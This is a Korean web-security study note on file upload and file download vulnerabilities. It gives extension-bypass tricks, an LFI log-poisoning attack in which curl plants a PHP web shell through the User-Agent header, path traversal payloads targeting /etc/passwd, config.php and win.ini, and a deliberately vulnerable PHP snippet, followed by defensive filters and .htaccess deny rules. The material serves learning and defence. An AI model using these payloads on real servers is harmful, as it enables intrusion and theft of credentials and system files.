공격자가 임의의 파일을 서버에 업로드하여 악의적인 행동을 수행하는 공격
📌 의문: webshell.php.jpg 파일을 업로드하면 실행될까?
📌 우회 기법: 이중 확장자(Double Extension) 기법
📌 다른 우회 기법: NULL Byte Injection
📌 웹 서버 설정을 조작하여 특정 확장자를 PHP로 해석하도록 변경
📌 예제: .htaccess 설정
AddType application/x-httpd-php .jpg
Local File Inclusion (LFI)
download.php?file=../../../../../etc/passwd
📌 웹쉘 업로드가 막혀 있다면?
📌 공격 예제
curl "http://target.com" -A "<?php system(\$_GET['cmd']); ?>"
download.php?file=/opt/lampp/logs/access_log&cmd=id
1. 확장자 기반 필터링
2. MIME 타입 검증
3. 실행 차단 (Execution Prevention)
<FilesMatch ".*">
Order Deny,Allow
Deny from all
</FilesMatch>
4. 파일 이름 난독화 및 경로 보호
5. NAS(파일 전용 서버) 사용
6. 업로드 파일 무결성 검사
파일 다운로드 기능을 악용하여 서버 내 중요 파일을 탈취할 수 있는 취약점이다.
특히 Path Traversal (경로 이동) 공격을 통해 서버 내부의 민감한 파일을 다운로드하는 것이 핵심이다.
📌 취약한 코드 예제
<?php
$fileName = $_GET['fileName'];
download('/files/' . $fileName);
?>
📌 공격 페이로드 예제
download.php?fileName=../../../../../etc/passwd
실행 결과: /files/../../../../../etc/passwd가 다운로드됨 → 서버 내 중요 파일 탈취 가능
📌 특정 웹 애플리케이션의 소스 코드 다운로드 가능
📌 공격 페이로드 예제
download.php?fileName=../../../../../var/www/html/config.php
실행 결과: config.php가 다운로드되며 DB 접속 계정, API 키 등의 민감한 정보가 유출
📌 Windows 서버에서는 다음 파일을 노릴 수 있음
📌 공격 페이로드 예제
download.php?fileName=../../../../../../../../Windows/win.ini
실행 결과: win.ini 다운로드 성공
$allowedFiles = ['test.txt', 'readme.pdf', 'manual.docx'];
if (!in_array($fileName, $allowedFiles)) {
die("Unauthorized file access!");
}
허용된 파일만 다운로드 가능하도록 설정
if (strpos($fileName, '..') !== false) {
die("Invalid file path detected!");
}
..이 포함된 요청은 차단
$allowedExtensions = ['txt', 'pdf', 'jpg'];
$ext = pathinfo($fileName, PATHINFO_EXTENSION);
if (!in_array($ext, $allowedExtensions)) {
die("Invalid file type!");
}
.php, .ini, .log 등의 중요 시스템 파일 다운로드 차단
📌 Apache 설정 (.htaccess 사용)
<FilesMatch "(passwd|shadow|htaccess|ini|log|php|env)">
Order Deny,Allow
Deny from all
</FilesMatch>
/etc/passwd, .env, win.ini 등 민감한 파일의 직접 접근 차단